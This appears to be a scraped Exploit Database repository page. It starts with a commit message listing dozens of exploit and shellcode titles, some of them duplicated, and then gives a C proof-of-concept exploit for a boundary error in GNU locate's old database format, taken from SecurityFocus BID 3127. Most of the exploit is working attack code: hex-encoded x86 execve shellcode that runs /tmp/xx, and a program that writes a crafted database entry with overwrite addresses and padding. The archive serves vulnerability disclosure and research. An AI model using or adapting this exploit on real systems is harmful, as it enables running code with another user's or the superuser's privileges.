880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
37 lines
No EOL
1.4 KiB
C
37 lines
No EOL
1.4 KiB
C
// source: https://www.securityfocus.com/bid/3127/info
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GNU locate is an application that searches file databases for file names that match user-supplied patterns.
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A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program.
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It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser.
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#include <stdio.h>
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char shellcode[] =
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"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
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"\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80"
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"\xe8\xe3\xff\xff\xff/tmp/xx";
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char putshell[] =
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"\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c"
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"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96";
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int main(void)
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{
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int i;
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int z0=0; int addr=0x0804a970;
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int z1=0; int addr2=-626;
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int z2=0; int addr3=addr+6;
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printf("%s", &addr);
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printf("%s", &addr3);
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printf("%s",shellcode);
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fflush(stdout);
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for(i=46;i<256;i++) putchar('A');
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printf("%s", putshell);
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fflush(stdout);
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putchar(0);
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putchar(30);
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printf("%s", &addr2);
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printf("\x82\x83");
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fflush(stdout);
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} |